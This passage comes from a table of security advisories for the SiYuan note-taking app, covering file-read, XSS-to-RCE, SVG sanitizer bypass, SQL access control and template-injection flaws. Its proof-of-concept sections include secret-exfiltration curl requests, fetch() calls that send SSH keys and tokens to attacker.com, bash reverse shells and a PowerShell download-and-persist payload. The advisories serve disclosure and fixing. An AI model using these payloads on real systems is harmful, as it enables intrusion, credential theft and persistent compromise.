If the auth page needs a WebSocket for keepalive, create a separate endpoint (`/ws-keepalive`) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel. | open | osv:GHSA-xp2m-98x8-rpj6 |
| medium | any | 3.6.2 | SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home (GHSA-h5vh-m7fg-w5h6 Bypass) ## Summary
The `IsSensitivePath()` function in `kernel/util/path.go` uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including `/opt` (application data), `/usr` (local configs/binaries), `/home` (other users), `/mnt` and `/media` (mounted volumes). The `globalCopyFiles` and `importStdMd` endpoints rely on `IsSensitivePath` as their primary defense against reading files outside the workspace.
## Details
Current denylist in `kernel/util/path.go:391-405`:
```go
prefixes := []string{
"/.", // dotfiles
"/etc", // system config
"/root", // root home
"/var", // variable data
"/proc", // process info
"/sys", // sysfs
"/run", // runtime data
"/bin", // binaries
"/boot", // boot files
"/dev", // devices
"/lib", // libraries
"/srv", // service data
"/tmp", // temp files
}
```
**NOT blocked:**
- `/opt` — commonly contains application data, databases, credentials. In SiYuan Docker, `/opt/siyuan/` contains the application itself.
- `/usr` — contains `/usr/local/etc`, `/usr/local/share`, custom configs
- `/home` — other users' home directories (only `~/.ssh` and `~/.config` of the current HomeDir are blocked via separate checks, but other users' homes are accessible)
- `/mnt`, `/media` — mounted volumes, network shares, often containing secrets
- `/snap` — snap package data
- `/sbin`, `/lib64` — system binaries/libraries
The `globalCopyFiles` endpoint at `kernel/api/file.go:82` uses `IsSensitivePath` as its sole path validation:
```go
if util.IsSensitivePath(absSrc) {
// reject
continue
}
// File is copied into workspace — then readable via /api/file/getFile
```
## PoC
```bash
# Read SiYuan's own application files from /opt (Docker deployment)
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
-H 'Authorization: Token YOUR_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"srcs":["/opt/siyuan/kernel/SiYuan-Kernel"],"destDir":"data/assets"}'
# Then read the copied file from workspace
curl -s 'http://127.0.0.1:6806/api/file/getFile' \
-H 'Authorization: Token YOUR_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"path":"data/assets/SiYuan-Kernel"}'
# Read files from mounted volumes
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
-H 'Authorization: Token YOUR_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"srcs":["/mnt/secrets/credentials.json"],"destDir":"data/assets"}'
```
## Impact
- Read arbitrary files from `/opt`, `/usr`, `/home`, `/mnt`, `/media` and any other non-denylisted path
- In Docker deployments: read application source code, configs, mounted secrets
- The denylist approach is fundamentally flawed — any newly added filesystem path is accessible until explicitly blocked
## Recommended Fix
Switch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:
```go
func IsSensitivePath(p string) bool {
absPath := filepath.Clean(p)
// Allowlist: only workspace and configured safe directories
if strings.HasPrefix(absPath, WorkspaceDir) {
// Block workspace-internal sensitive paths (conf/)
if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, "conf")) {
return true
}
return false
}
// Everything outside workspace is sensitive by default
return true
}
``` | fixed | osv:GHSA-vm69-h85x-8p85 |
| medium | any | \u2014 | SiYuan Vulnerable to Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface # Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface
## Summary
SiYuan's mobile file tree (`MobileFiles.ts`) renders notebook names via `innerHTML` without HTML escaping when processing `renamenotebook` WebSocket events. The desktop version (`Files.ts`) properly uses `escapeHtml()` for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree.
Since Electron is configured with `nodeIntegration: true` and `contextIsolation: false`, the injected JavaScript has full Node.js access, escalating stored XSS to **full remote code execution**. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well.
## Affected Component
- **Vulnerable file:** `app/src/mobile/dock/MobileFiles.ts:77`
- **Safe counterpart:** `app/src/layout/dock/Files.ts:104` (uses `escapeHtml`)
- **Backend (no escaping):** `kernel/api/notebook.go:104-116` (`renameNotebook`)
- **Electron config:** `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)
- **Endpoint:** `POST /api/notebook/renameNotebook` (authenticated)
- **Version:** SiYuan <= 3.5.9
## Vulnerable Code
### Mobile — no escaping (MobileFiles.ts:77)
```typescript
case "renamenotebook":
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = data.data.name;
break;
```
### Desktop — properly escaped (Files.ts:104)
```typescript
case "renamenotebook":
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);
break;
```
### Backend — sends unescaped name (notebook.go:104-116)
```go
func renameNotebook(c *gin.Context) {
// ...
name := arg["name"].(string)
err := model.RenameBox(notebook, name)
// ...
evt := util.NewCmdResult("renamenotebook", 0, util.PushModeBroadcast)
evt.Data = map[string]interface{}{
"box": notebook,
"name": name, // Unescaped — sent directly to all clients
}
util.PushEvent(evt)
}
```
`model.RenameBox()` only validates length (512 chars max) and emptiness — no HTML sanitization.
### Electron — Node.js in renderer (main.js:422-426)
```javascript
webPreferences: {
nodeIntegration: true,
webviewTag: true,
webSecurity: false,
contextIsolation: false,
}
```
Any JavaScript executed via innerHTML has full access to `require('child_process')`, `require('fs')`, `require('net')`, etc.
## Proof of Concept
**Tested and confirmed on SiYuan v3.5.9 (Docker).**
### 1. Set malicious notebook name (RCE payload)
```http
POST /api/notebook/renameNotebook HTTP/1.1
Content-Type: application/json
Cookie: siyuan=<session>
{
"notebook": "<NOTEBOOK_ID>",
"name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
}
```
On Linux/macOS:
```json
{
"notebook": "<NOTEBOOK_ID>",
"name": "<img src=x onerror=\"require('child_process').exec('id > /tmp/pwned')\">"
}
```
**Confirmed:** API accepts the name without escaping. The `renamenotebook` WebSocket event broadcasts the raw HTML to all connected clients.
### 2. Mobile client renders and executes
When any mobile client receives the `renamenotebook` event, `MobileFiles.ts:77` sets `innerHTML = data.data.name`. The `<img>` tag's `src=x` fails to load, triggering `onerror` which calls `require('child_process').exec()` — **arbitrary OS command execution**.
### 3. Verified event content
```python
# Unauthenticated WebSocket listener receives:
{
"cmd": "renamenotebook",
"data": {
"box": "20260309161535-do8qg95",
"name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
}
}
```
The HTML/JS payload is preserved verbatim in the WebSocket event.
### 4. Data exfiltration variant
```json
{
"notebook": "<NOTEBOOK_ID>",
"name": "<img src=x onerror=\"fetch('https://attacker.com/exfil?k='+require('fs').readFileSync(require('os').homedir()+'/.ssh/id_rsa','utf8'))\">"
}
```
### 5. Reverse shell variant
```json
{
"notebook": "<NOTEBOOK_ID>",
"name": "<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\\\"')\">"
}
```
## Attack Scenario
1. In a multi-user SiYuan deployment, an attacker with editor role renames a notebook with an RCE payload
2. The `renamenotebook` event broadcasts the payload to ALL connected clients
3. Any user viewing the file tree on the mobile interface (or desktop in narrow/mobile layout) triggers the payload
4. `nodeIntegration: true` gives the injected JavaScript full OS access
5. Attacker achieves arbitrary command execution on the victim's machine
**Persistence:** The notebook name is stored in the notebook's `.siyuan/conf.json`. The payload re-triggers every time the file tree renders on mobile — it survives restarts.
**Sync vector:** If the workspace is synced (SiYuan Cloud Sync or S3), the malicious notebook name propagates to all synced devices automatically.
## Impact
- **Severity:** CRITICAL (CVSS ~9.0)
- **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation)
- Full remote code execution on Electron desktop via `nodeIntegration: true`
- Stored XSS — notebook names persist across sessions and survive restarts
- Propagates via cloud sync to all synced devices
- Affects all mobile interface users and desktop users in mobile/narrow layout
- Inconsistent escaping — desktop is safe, mobile is not (indicates oversight)
- Can steal files, credentials, SSH keys, install backdoors, open reverse shells
## Suggested Fix
### 1. Apply the same escaping used in the desktop version
```typescript
// Before (vulnerable):
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = data.data.name;
// After (fixed):
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);
```
### 2. Sanitize notebook names on the backend
```go
func RenameBox(boxID, name string) (err error) {
name = util.EscapeHTML(name) // Sanitize at the source
// ...
}
```
### 3. Long-term: Harden Electron configuration
```javascript
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
sandbox: true,
}
``` | open | osv:GHSA-qr46-rcv3-4hq3 |
| medium | any | 0.0.0-20260310025236-297bd526708f | SiYuan has a SVG Sanitizer Bypass via Whitespace in `javascript:` URI — Unauthenticated XSS # SVG Sanitizer Bypass via Whitespace in `javascript:` URI — Unauthenticated XSS
## Summary
SiYuan's SVG sanitizer (`SanitizeSVG`) checks `href` attributes for the `javascript:` prefix using `strings.HasPrefix()`. However, inserting ASCII tab (`	`), newline (` `), or carriage return (` `) characters inside the `javascript:` string bypasses this prefix check. Browsers strip these characters per the WHATWG URL specification before parsing the URL scheme, so the JavaScript still executes. This allows an attacker to inject executable JavaScript into the unauthenticated `/api/icon/getDynamicIcon` endpoint, creating a reflected XSS.
This is a second bypass of the fix for CVE-2026-29183 (fixed in v3.5.9), [distinct from the `<animate>` element bypass](https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5hc8-qmg8-pw27).
## Affected Component
- **File:** `kernel/util/misc.go`
- **Function:** `SanitizeSVG()` (lines 234-319)
- **Specific check:** Line 271 — `strings.HasPrefix(val, "javascript:")`
- **Endpoint:** `GET /api/icon/getDynamicIcon?type=8&content=...` (unauthenticated)
- **Version:** SiYuan <= 3.5.9
## Root Cause
The sanitizer uses Go's `html.Parse` which decodes HTML entities in attribute values. When the input contains `java	script:alert(1)`, the parser decodes `	` to a literal tab character (U+0009). The sanitizer then checks:
```go
val := strings.TrimSpace(strings.ToLower(a.Val))
// val is now "java\tscript:alert(1)"
if strings.HasPrefix(val, "javascript:") {
continue // This check FAILS — tab breaks the prefix match
}
```
`strings.TrimSpace` only removes leading/trailing whitespace, not internal whitespace. The `HasPrefix` check fails because `"java\tscript:..."` does not start with `"javascript:"`.
However, per the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing), step 1 of URL parsing removes all ASCII tab and newline characters (U+0009, U+000A, U+000D) from the input. So the browser parses `java\tscript:alert(1)` as `javascript:alert(1)`.
## Proof of Concept
### Vector 1: Tab character (`	`)
```
GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java	script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue
```
### Vector 2: Newline character (` `)
```
GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue
```
### Vector 3: Carriage return (` `)
```
GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue
```
### Vector 4: Multiple whitespace characters
```
GET /api/icon/getDynamicIcon?type=8&content=</text><a href="j	a v a	s c r	i p t:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue
```
### Processing trace
1. **Input:** `<a href="java	script:alert(document.domain)">`
2. **html.Parse:** Decodes entity → attribute value = `java\tscript:alert(document.domain)`
3. **Sanitizer:** `TrimSpace(ToLower(val))` = `java\tscript:alert(document.domain)` (tab preserved in middle)
4. **HasPrefix check:** `"java\tscript:..."` does NOT start with `"javascript:"` → **passes through**
5. **html.Render:** Outputs literal tab character in href (tabs are not HTML-special)
6. **Browser URL parser:** Strips tab per WHATWG URL spec → `javascript:alert(document.domain)`
7. **User clicks link → JavaScript executes**
## Attack Scenario
Same as CVE-2026-29183 / advisory #01:
1. Attacker crafts a malicious `getDynamicIcon` URL
2. Victim navigates to the URL (or is redirected)
3. SVG renders with `Content-Type: image/svg+xml`
4. Victim clicks the text link in the SVG
5. JavaScript executes in SiYuan's origin
6. Attacker steals session cookies, API tokens, or makes authenticated API calls
## Impact
- **Severity:** CRITICAL (CVSS ~9.1)
- **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation)
- Unauthenticated reflected XSS via SVG injection
- Executes in the SiYuan application origin
- Bypasses the fix for CVE-2026-29183
- Independent of the `<animate>` element bypass (advisory #01) — different root cause
## Suggested Fix
Replace the simple `HasPrefix` check with whitespace-stripped comparison:
```go
// Strip ASCII tab, newline, CR before checking for javascript: prefix
cleaned := strings.Map(func(r rune) rune {
if r == '\t' || r == '\n' || r == '\r' {
return -1 // Remove character
}
return r
}, val)
if key == "href" || key == "xlink:href" || key == "xlinkhref" {
if strings.HasPrefix(cleaned, "javascript:") {
continue
}
if strings.HasPrefix(cleaned, "data:") {
if strings.Contains(cleaned, "text/html") || strings.Contains(cleaned, "image/svg+xml") || strings.Contains(cleaned, "application/xhtml+xml") {
continue
}
}
}
```
This should also be applied to the `data:` URI check, as the same whitespace bypass could potentially affect it. | fixed | osv:GHSA-pmc9-f5qr-2pcr |
| medium | any | 0.0.0-20260116101155-11115da3d0de | SiYuan Has a Stored Cross-Site Scripting (XSS) Vulnerability via Unrestricted SVG File Upload ### Summary
A Stored Cross-Site Scripting (XSS) vulnerability exists in SiYuan Note. The application does not sanitize uploaded SVG files. If a user uploads and views a malicious SVG file (e.g., imported from an untrusted source), arbitrary JavaScript code is executed in the context of their authenticated session.
### Details
The application allows authenticated users to upload files, including .svg images, without sanitizing the input to remove embedded JavaScript code (such as <script> tags or event handlers).
### PoC
1. Create a new "Daily note" in the workspace.
<img width="1287" height="572" alt="image" src="https://github.com/user-attachments/assets/3a4389b9-695d-4e1b-94dc-72efdb047aa9" />
2. Create a file named test.svg with malicious JavaScript inside:
```
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 124 124" fill="none">
<rect width="124" height="124" rx="24" fill="red"/>
<script type="text/javascript">
alert(window.origin);
</script>
</svg>
```
3. Upload a file in current daily note:
<img width="1617" height="316" alt="image" src="https://github.com/user-attachments/assets/6e14318a-08ec-48e5-b278-9174ad17cfcb" />
<img width="1482" height="739" alt="image" src="https://github.com/user-attachments/assets/95c996e8-5591-436a-9467-ab56c9ffbde0" />
<img width="1321" height="548" alt="image" src="https://github.com/user-attachments/assets/249fb187-3caa-4372-a9c9-56dfda6b8a8f" />
4. Open the file:
- Right-click the uploaded asset in the note.
- Select "Export"
<img width="934" height="718" alt="image" src="https://github.com/user-attachments/assets/ec943dfa-92ba-47f6-8b1e-56e53f1b0ca6" />
5. The JavaScript code executes immediately.
<img width="1033" height="632" alt="image" src="https://github.com/user-attachments/assets/a1611291-d333-4f8e-9da9-62104aaa1bdd" />
<img width="1381" height="641" alt="image" src="https://github.com/user-attachments/assets/d5018203-dbd0-4285-8702-8cb3e7c5cd07" />
### Impact
The vulnerability allows to upload an SVG file containing malicious scripts. When a user exports this file, the embedded arbitrary JavaScript code is executed within their browser context
### Notes
Tested version:
<img width="1440" height="534" alt="image" src="https://github.com/user-attachments/assets/a62271e4-6850-4f59-be88-c4f8055429c0" />
### Solution
https://github.com/siyuan-note/siyuan/issues/16844 | fixed | osv:GHSA-pcjq-j3mq-jv5j |
| medium | any | 0.0.0-20260317012524-fe4523fff2c8 | SiYuan has Stored XSS to RCE via Unsanitized Bazaar Package Metadata # Stored XSS to RCE via Unsanitized Bazaar Package Metadata
## Summary
SiYuan's Bazaar (community marketplace) renders package metadata fields (`displayName`, `description`) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab.
## Affected Component
- **Metadata rendering**: `app/src/config/bazaar.ts:275-277`
- **Electron config**: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)
## Affected Versions
- SiYuan <= 3.5.9
## Severity
**Critical** — CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
## Vulnerable Code
In `app/src/config/bazaar.ts:275-277`, package metadata is injected directly into HTML templates without escaping:
```typescript
// Package name injected directly — NO escaping
${item.preferredName}${item.preferredName !== item.name
? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""}
// Package description — title attribute uses escapeAttr(), but text content does NOT
<div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}">
${item.preferredDesc || ""} <!-- UNESCAPED HTML -->
</div>
```
The inconsistency is notable: the `title` attribute is escaped via `escapeAttr()`, but the actual rendered text content is not — indicating the risk was partially recognized but incompletely mitigated.
The Electron renderer at `app/electron/main.js:422-426` is configured with:
```javascript
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
// ...
}
```
This means any JavaScript executing in the renderer process has direct access to Node.js APIs including `require('child_process')`, `require('fs')`, and `require('os')`.
## Proof of Concept
### Step 1: Create a malicious plugin manifest
Create a GitHub repository with a valid SiYuan plugin structure. In `plugin.json`:
```json
{
"name": "helpful-productivity-plugin",
"displayName": {
"default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
},
"description": {
"default": "Boost your productivity with smart templates"
},
"version": "1.0.0",
"author": "attacker",
"url": "https://github.com/attacker/helpful-productivity-plugin",
"minAppVersion": "2.0.0"
}
```
### Step 2: Submit to Bazaar
Submit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).
### Step 3: Zero-click RCE
When **any** SiYuan desktop user navigates to **Settings > Bazaar > Plugins**, the package listing renders the malicious `displayName`. The `<img src=x>` tag fails to load, firing the `onerror` handler, which calls `require('child_process').exec('calc.exe')`.
**No click is required.** The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM.
### Escalation: Reverse shell
```json
{
"displayName": {
"default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\\\"')\">"
}
}
```
### Escalation: Data exfiltration (API token theft)
```json
{
"displayName": {
"default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">"
}
}
```
### Escalation: Silent persistence (Windows)
```json
{
"displayName": {
"default": "<img src=x onerror=\"require('child_process').exec('schtasks /create /tn SiYuanUpdate /tr \\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\"https://attacker.com/payload.ps1\\\\\\\")\\\" /sc onlogon /rl highest /f')\">"
}
}
```
## Attack Scenario
1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.
2. Attacker submits it to the SiYuan Bazaar via the standard community contribution process.
3. The `plugin.json` manifest contains an XSS payload in the `displayName` or `description` field.
4. When **any** SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata.
5. The injected `<img onerror>` (or `<svg onload>`, `<details ontoggle>`, etc.) fires automatically.
6. JavaScript executes in the Electron renderer with full Node.js access (`nodeIntegration: true`).
7. The attacker achieves arbitrary OS command execution — reverse shell, data exfiltration, persistence, ransomware, etc.
**The user does not need to install, click, or interact with the malicious package in any way.** Browsing the marketplace is sufficient.
## Impact
- **Full remote code execution** on any SiYuan desktop user who browses the Bazaar
- **Zero-click** — payload fires on page load, no interaction required
- **Supply-chain attack** — targets the entire SiYuan user community via the official marketplace
- Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files
- Can install persistent backdoors, scheduled tasks, or ransomware
- Affects all platforms: Windows, macOS, Linux
## Suggested Fix
### 1. Escape all package metadata in template rendering (`bazaar.ts`)
```typescript
function escapeHtml(str: string): string {
return str.replace(/&/g, '&').replace(/</g, '<')
.replace(/>/g, '>').replace(/"/g, '"')
.replace(/'/g, ''');
}
// Apply to ALL user-controlled metadata before rendering
${escapeHtml(item.preferredName)}
<div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div>
```
### 2. Server-side sanitization in the Bazaar index pipeline
Sanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients:
```go
func sanitizePackageDisplayStrings(pkg *Package) {
if pkg == nil {
return
}
for k, v := range pkg.DisplayName {
pkg.DisplayName[k] = html.EscapeString(v)
}
for k, v := range pkg.Description {
pkg.Description[k] = html.EscapeString(v)
}
}
```
### 3. Long-term: Harden Electron configuration
```javascript
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
sandbox: true,
}
``` | fixed | osv:GHSA-mvpm-v6q4-m2pf |
| medium | any | \u2014 | SiYuan's direct SQL Query API accessible to Reader-level users enables unauthorized database access ### Summary
/api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any SQL query on the database.
### Details
The vulnerable endpoint is in kernel/api/sql.go
```go
func SQL(c *gin.Context) {
ret := gulu.Ret.NewResult()
defer c.JSON(http.StatusOK, ret)
arg, ok := util.JsonArg(c, ret)
if !ok {
return
}
stmt := arg["stmt"].(string)
result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions
}
```
The route in kernel/api/router.go only uses CheckAuth middleware
e.g (similar)
```go
ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL)
```
### PoC
Start SiYuan with the publish service turned on
```bash
# List out all tables in the database
curl -s -u reader_user:reader_pass \
-X POST "http://127.0.0.1:6808/api/query/sql" \
-H "Content-Type: application/json" \
-d '{"stmt": "SELECT name, type FROM sqlite_master WHERE type='"'"'table'"'"'"}'
# Extract all user content from the database
curl -s -u reader_user:reader_pass \
-X POST "http://127.0.0.1:6808/api/query/sql" \
-H "Content-Type: application/json" \
-d '{"stmt": "SELECT id, content FROM blocks"}'
```
### Impact
- High impact, reader users can query all data in the db including other users notes
- SQL api is mostly for select queries, but without validation, writes can still happen
- Malicious SQL can lead to serious performance issues
this is an auth bypass, the sql feature is for power users but even readers can use it | open | osv:GHSA-jqwg-75qf-vmf9 |
| medium | any | \u2014 | SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets ### Summary
POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.
### Details
File: kernel/api/file.go - function globalCopyFiles
```go
for i, src := range srcs {
absSrc, _ := filepath.Abs(src)
if util.IsSensitivePath(absSrc) {
return
}
srcs[i] = absSrc
}
destDir := filepath.Join(util.WorkspaceDir, destDir)
for _, src := range srcs {
dest := filepath.Join(destDir, filepath.Base(src))
filelock.Copy(src, dest) // copies unchecked sensitive file into workspace
}
```
IsSensitivePath blocklist (kernel/util/path.go):
```go
prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."}
```
**Not blocked - exploitable targets:**
| Path | Contains |
|------|----------|
| /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY |
| /run/secrets/* | Docker Swarm / Compose injected secrets |
| /home/siyuan/.aws/credentials | AWS credentials (non-root user) |
| /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) |
| /tmp/ | Temporary files including tokens |
### PoC
**Environment:**
```bash
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
```
**Exploit:**
```bash
TOKEN="YOUR_ADMIN_TOKEN"
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}'
curl -s -X POST http://localhost:6806/api/file/getFile \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"path":"/data/assets/environ"}' | tr '\0' '\n'
```
**Docker secrets:**
```bash
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"srcs":["/run/secrets/db_password","/run/secrets/api_token"],"destDir":"data/assets/"}'
```
### Impact
An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted. | open | osv:GHSA-h5vh-m7fg-w5h6 |
| medium | any | 0.0.0-20260628153353-2d5d72223df4 | SiYuan: Unauthenticated SQLite Data Exfiltration via Template Injection in /api/icon/getDynamicIcon ### Summary
The `/api/icon/getDynamicIcon` endpoint is explicitly excluded from authentication in SiYuan's kernel router (`router.go`, "不需要鉴权" -- no auth needed). When called with `type=8` and a valid block `id` parameter, this endpoint invokes `RenderDynamicIconContentTemplate`, which executes a Go template that includes the `querySQL` and `queryBlocks` functions. These functions run arbitrary SELECT statements against the SiYuan SQLite database. An unauthenticated network-adjacent attacker who knows a valid block ID can exfiltrate all user note content, tags, asset references, and block attributes from the database.
### Details
**Root cause -- kernel/api/router.go, line 37:**
```go
// 不需要鉴权
ginServer.Handle("GET", "/api/icon/getDynamicIcon", getDynamicIcon)
```
**Attack chain:**
1. `getDynamicIcon` (kernel/api/icon.go) checks `type=8` and calls `model.RenderDynamicIconContentTemplate(content, id)` when `content` contains `.action{`.
2. `RenderDynamicIconContentTemplate` (kernel/model/template.go:264) parses `content` as a Go template. The template function map includes `querySQL` and `queryBlocks` registered via `sql.SQLTemplateFuncs`.
3. `querySQL` calls `Query(stmt, 1024)` (kernel/sql/block_query.go) which executes the SQL statement against the SQLite database containing all user notes.
4. The SQL result is rendered into the SVG response body and returned to the unauthenticated caller.
**Constraint:** The block `id` parameter must be a valid block ID that exists in the database. Block IDs are 22-character strings in the format `YYYYMMDDHHMMSS-XXXXXXX` (timestamp + 7 alphanumeric chars). Valid IDs are embedded in shared document URLs and can be leaked through any other authenticated endpoint, referrer headers, or browser history.
**Tested on SiYuan v3.6.5 (Docker, network-serving mode, access auth code enabled):**
```
GET /api/icon/getDynamicIcon?type=8&content=.action{querySQL+"SELECT+id,content+FROM+blocks+LIMIT+5"}&id=<KNOWN_BLOCK_ID>
Host: siyuan.example.com
(No Authorization header)
```
Response (SVG with exfiltrated data embedded):
```xml
<text ...>[map[id:20260524010447-jc9ypd4 content:test]
map[id:20260524011002-ttaa7lu content:My password is SuperSecret123!]]</text>
```
The `querySQL` template function can query any table: `blocks` (all note content and metadata), `spans` (tags), `assets` (asset references), `attributes` (block attributes), and `refs` (backlinks).
### PoC
```bash
TARGET="http://siyuan.example.com:6806"
BLOCK_ID="KNOWN_BLOCK_ID_HERE" # From a shared link or other source
# List all database tables
curl -s "${TARGET}/api/icon/getDynamicIcon?type=8&content=.action%7BquerySQL+%22SELECT+name+FROM+sqlite_master+WHERE+type%3D%27table%27%22%7D&id=${BLOCK_ID}"
# Dump all note content
curl -s "${TARGET}/api/icon/getDynamicIcon?type=8&content=.action%7BquerySQL+%22SELECT+id%2Ctype%2Ccontent+FROM+blocks+LIMIT+100%22%7D&id=${BLOCK_ID}"
```
**PoC script:** `/home/mrrobot/GoogleDrive/vuln-research/siyuan/scripts/poc_getDynamicIcon_sqli.sh`
### Impact
Any network-reachable SiYuan instance (Docker deployments default to `0.0.0.0:6806`) is vulnerable to complete note content exfiltration without authentication, provided the attacker can obtain one valid block ID. Block IDs are leaked in shared document URLs, embedded images referencing block IDs, and browser history. In a networked deployment scenario (e.g., a self-hosted SiYuan accessible from the internet), all personal notes, tags, and metadata are exposed to unauthenticated attackers.
This vulnerability is distinct from previously reported SQL injection issues (GHSA-j7wh-x834-p3r7) which targeted the search API. The `getDynamicIcon` endpoint was never intended to execute SQL queries but gained this capability through the `querySQL` template function registered for the icon content template renderer. | fixed | osv:GHSA-gcm7-57gf-953c |
| medium | any | 0.0.0-20260512140701-d7b77d945e0d | SiYuan has broken access control in `/api/search/{searchAsset,searchTag,searchWidget,searchTemplate}` publish-mode ### Summary
The advisory `GHSA-c77m-r996-jr3q` patched `getBookmark` so that, when invoked by a publish-mode `RoleReader`, results are filtered through `FilterBlocksByPublishAccess` to remove entries from password-protected / publish-ignored notebooks. Four sibling search handlers in the same file did not receive the equivalent treatment and continue to expose metadata across the publish-access boundary.
### Details
**Affected files / lines (v3.6.5):**
`kernel/api/router.go:181-190` — all four endpoints registered with `CheckAuth` only, which the publish-service `RoleReader` JWT passes:
```go
ginServer.Handle("POST", "/api/search/searchTag", model.CheckAuth, searchTag)
ginServer.Handle("POST", "/api/search/searchTemplate", model.CheckAuth, searchTemplate)
ginServer.Handle("POST", "/api/search/searchWidget", model.CheckAuth, searchWidget)
ginServer.Handle("POST", "/api/search/searchAsset", model.CheckAuth, searchAsset)
```
`kernel/api/search.go` — none of the four handlers branches on `model.IsReadOnlyRoleContext(c)` to filter the response, while their *peers* in the same file do. Compare:
```go
// :29-65 listInvalidBlockRefs — DOES filter:
if model.IsReadOnlyRoleContext(c) {
publishAccess := model.GetPublishAccess()
blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}
// :67-93 getAssetContent — DOES filter (FilterAssetContentByPublishAccess)
// :95-115 fullTextSearchAssetContent — DOES filter
// :250-285 getEmbedBlock — DOES filter (FilterEmbedBlocksByPublishAccess)
// :156-176 searchAsset — does NOT filter
